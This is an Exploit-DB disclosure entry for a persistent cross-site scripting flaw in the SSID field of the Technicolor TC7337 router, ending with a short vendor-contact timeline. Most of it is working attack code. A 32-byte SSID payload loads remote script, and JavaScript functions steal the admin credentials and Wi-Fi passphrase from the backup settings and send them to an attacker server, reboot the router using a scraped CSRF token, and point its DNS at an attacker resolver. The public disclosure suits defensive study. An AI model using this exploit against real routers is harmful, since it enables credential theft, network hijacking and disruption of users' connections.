Exploit-DB #42427
Description: Technicolor TC7337 - 'SSID' Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-08-03
Author: Geolado giolado

Exploit:
// Device : Technicolor TC7337
// Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html
// XSS through SSID : '><script src=//url.co></script>   ( Exactly 32 bytes u_u )
//                             ^
//  5char domains are running  |    'src' does not requires quotes , and passing the URL with ony '//'
//  out, grab yours !          +---> it will cause the browser to make the request with the current protocol,
//                                   which is HTTP , duh
// Below is the content of url.co/index.html
// index.html ( which is just a JavaScript actually, but we have to use the index to fit the 32 chars ) :

function get_passwords(attackers_server) {
  // attackers_server = server to send the credentials
  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  // XSS to get Admin's login/passwd + Wifi passphrase
  // from backup settings

  xmlhttp=new XMLHttpRequest();
  xmlhttp.open("GET", "/backupsettings.cmd", false); // GET the Backup XML
  xmlhttp.send();
  var k = xmlhttp.responseText.indexOf("Admin") ; // Search for Admin's Login and Password
  var y = xmlhttp.responseText.indexOf("KeyPassphrase") ; // Search for Wifi PassPhrase
  // Add a img requesting the attacker website with the leaked passwords in the GET parameters
  document.write('<img src="'+attackers_server+'?net='+ encodeURIComponent(xmlhttp.responseText.slice(k,k+100)+xmlhttp.responseText.slice(y,y+80))+'">');
}

function reboot_router() {
  // XSS + CSRF reboot router
  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  // Why? Because It's fun to watch a XSS doing 'physical' stuff

  xmlhttp=new XMLHttpRequest();
  xmlhttp.open("GET", "/resetrouter.html", false); // GET the page of the reset interface
  xmlhttp.send();
  var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token
  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes

  xmlhttp=new XMLHttpRequest();
  xmlhttp.open("GET", "/rebootinfo.cgi?sessionKey="+sessionKey, false);
// Request the reboot page with the CSRF token
  xmlhttp.send();
}

function dns_poisoning(attackers_dns) {
  // attackers_dns = malicious DNS Server
  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit my code is ugly as fuck , sorry world
  // Alter the DNS Config of the Router
  // changing the Primary and Secondary DNS to the attacker's one

  xmlhttp=new XMLHttpRequest();  
  xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
  xmlhttp.send();
  var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token
  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1]; // Regex because the key is inside quotes
  var i_wanip = xmlhttp.responseText.indexOf("wanip");
  var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1];
  var i_wansubnet = xmlhttp.responseText.indexOf("wansubnet");
  var wansubnet = xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1];
  var i_wangatewayip = xmlhttp.responseText.indexOf("wangatewayip");
  var wangatewayip = xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1];

  xmlhttp=new XMLHttpRequest();
  xmlhttp.open("GET", "/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress="+wanip+"&wanIfName=wanbridge&wanSubnetMask="+wansubnet+"&wanIntfGateway="+wangatewayip+"&dnsPrimary="+attackers_dns+"&dnsSecondary="+attackers_dns+"&sessionKey="+sessionKey, false);
  xmlhttp.send(); // Send the request to SAVE the Primary and Secondary DNS with the CSRF Token

  //After saving we need to apply the settings. yeah, fuck logic --'

  //Getting a brand NEW SessionKey
  xmlhttp=new XMLHttpRequest();  
  xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
  xmlhttp.send();
  var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token
  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes

  xmlhttp=new XMLHttpRequest();  
  xmlhttp.open("GET", "/wandnscfg.cmd?sessionKey="+sessionKey, false);
// GET the apply DNS page
  xmlhttp.send();
}

//Choose your path !
//get_passwords("https://evil.domain/") ;
//reboot_router();
dns_poisoning("1.3.3.7")

// TimeLine
// ---------
// 08/07/2017 - First email sent to the vendor (no answer)
// 16/07/2017 - Second email sent to the vendor (no answer)
// 18/07/2017 - Third email sent to the vendor (no answer)
// 02/08/2017 - Full Disclosure